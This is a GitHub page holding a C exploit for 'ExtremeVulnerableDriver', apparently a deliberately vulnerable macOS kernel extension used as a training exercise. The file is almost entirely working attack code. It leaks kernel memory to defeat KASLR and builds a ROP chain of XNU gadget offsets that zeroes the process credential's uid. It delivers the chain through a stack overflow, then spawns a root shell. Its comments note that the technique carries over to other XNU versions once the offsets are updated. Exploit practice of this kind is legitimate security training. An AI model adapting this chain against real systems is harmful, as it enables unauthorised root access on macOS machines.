-
Notifications
You must be signed in to change notification settings - Fork 12
/
bof_9051bf.c
126 lines (113 loc) · 3.79 KB
/
bof_9051bf.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
// R0P your way to # with XNU ;)
// Simple stack buffer overflow
// The solution for this problem was written for
//Darwin Kernel Version 18.2.0: root:xnu-4903.231.4~2/RELEASE_X86_64 x86_64
//But everything will be the same on other XNU version, just update the offset.
// ## Exploit Reference
// [saelo's IPwnKit Solution](https://gist.github.com/saelo/0a85f22c8a02f3a314661edd715900d3)
// [Brandon Azad CVE-2016-1828 writeup](https://bazad.github.io/2016/05/mac-os-x-use-after-free/#building-the-rop-stack)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#define kUserClientCarelessRead 0
#define kUserClientCarelessWrite 1
#define kMyDriversIOKitClassName "ExtremeVulnerableDriver"
#define kernelbase 0xFFFFFF8000100000ULL
io_connect_t connection;
kern_return_t careless_read(user_addr_t udaddr,size_t len){
uint64_t input[] = {udaddr,len};
return IOConnectCallScalarMethod(connection, kUserClientCarelessRead, input, 2, 0, 0);
}
kern_return_t careless_write(user_addr_t udaddr,size_t len){
uint64_t input[] = {udaddr,len};
return IOConnectCallScalarMethod(connection, kUserClientCarelessWrite, input, 2, 0, 0);
}
void EVDConnect() {
kern_return_t kr;
mach_port_t masterPort;
io_service_t serviceObject;
io_iterator_t iterator;
CFDictionaryRef classToMatch;
kr = IOMasterPort(MACH_PORT_NULL, &masterPort);
if (kr != KERN_SUCCESS) {
printf("IOMasterPort returned %d\n", kr);
exit(-1);
}
classToMatch = IOServiceMatching(kMyDriversIOKitClassName);
if (classToMatch == NULL) {
printf("IOServiceMatching returned a NULL dictionary\n");
exit(-1);
}
kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator);
if (kr != KERN_SUCCESS) {
printf("IOServiceGetMatchingServices returned %d\n", kr);
exit(-1);
}
serviceObject = IOIteratorNext(iterator);
IOObjectRelease(iterator);
if (!serviceObject) {
printf("No service found\n");
exit(-1);
}
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS) {
printf("IOServiceOpen returned %d\n", kr);
exit(-1);
}
}// Thanks @LinusHenze
uint64_t GetKextAddr() {
FILE *fp;
char line[4096];
fp = popen("kextstat | grep com.ntrung03.ExtremeVulnerableDriver | awk '{print $3}'","r");
if(fp == NULL) {
printf("Failed to get KEXT address!\n");
exit(-1);
}
fgets(line, sizeof(line)-1, fp);
uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
fclose(fp);
return addr;
}
int main(int argc, char *argv[]) {
EVDConnect();
void* buf = malloc(1024);
kern_return_t kr = careless_read((user_addr_t)buf, 1024);
unsigned long long* ib=buf+1;
for(int i=0;i<10;i++){
printf("%llx\n",ib[i]);
}
uint64_t kaslrSlide = (ib[8]-0x156d)-GetKextAddr();
printf("[*] kASLR Slide: 0x%llx\n",kaslrSlide);
unsigned long long ropchain[] ={//put this at offset 7 so we can check rbp for magic value
0xdeadbeecULL,
kaslrSlide + 0xffffff80009c20c0,//current_proc
0xffffff800056eaf3 +kaslrSlide,//pop rcx ; ret
kaslrSlide + 0xffffff80008c3fb0,//proc_ucred
0xffffff80009e5926+kaslrSlide,//mov rdi, rax ; pop rbp ; jmp rcx
0xdeadbeedULL,
0xffffff800056eaf3 +kaslrSlide,//pop rcx ; ret
kaslrSlide + 0xffffff800088ab70,//posix_cred_get
0xffffff80009e5926 + kaslrSlide,//mov rdi, rax ; pop rbp ; jmp rcx
0xdeadbeeeULL,
kaslrSlide + 0xffffff8000a890cd, // mov qword ptr [rax + 8], 0 ; pop rbp ; ret
0xdeadbeefULL,
kaslrSlide + 0xffffff800035adca//thread_exception_return
};
for(int i=0;i<13;i++){
printf("0x%llx\n",ropchain[i]);
}
memcpy(ib+7,ropchain,sizeof(ropchain));
puts("");
for(int i=0;i<13;i++){
printf("0x%llx\n",ib[i+7]);
}
careless_write((user_addr_t)buf, 1024);
setuid(0);
setuid(0);
printf("[*] uid: %d\n",getuid());
printf("[*] euid: %d\n",geteuid());
system("/bin/sh");
}